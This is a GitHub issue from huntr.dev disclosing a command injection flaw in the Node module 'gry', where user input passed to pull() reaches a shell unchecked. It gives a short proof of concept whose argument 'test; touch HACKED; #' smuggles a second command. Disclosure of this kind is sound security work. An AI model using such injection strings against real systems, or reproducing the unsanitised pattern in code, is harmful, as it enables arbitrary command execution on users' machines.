Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

huntr.dev - Command Injection #21

Closed
huntr-helper opened this issue Apr 3, 2020 · 2 comments
Closed

huntr.dev - Command Injection #21

huntr-helper opened this issue Apr 3, 2020 · 2 comments

Comments

@huntr-helper
Copy link
Contributor

This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/IonicaBizau/node-gry/blob/master/lib/index.js#L149

Steps To Reproduce:

  1. Create the following PoC file:
// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull('test; touch HACKED; #', function(){console.log('Finished!')})
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i gry # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

@JamieSlome
Copy link

@IonicaBizau Resolved with #23?

@IonicaBizau
Copy link
Owner

IonicaBizau commented Apr 20, 2020 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants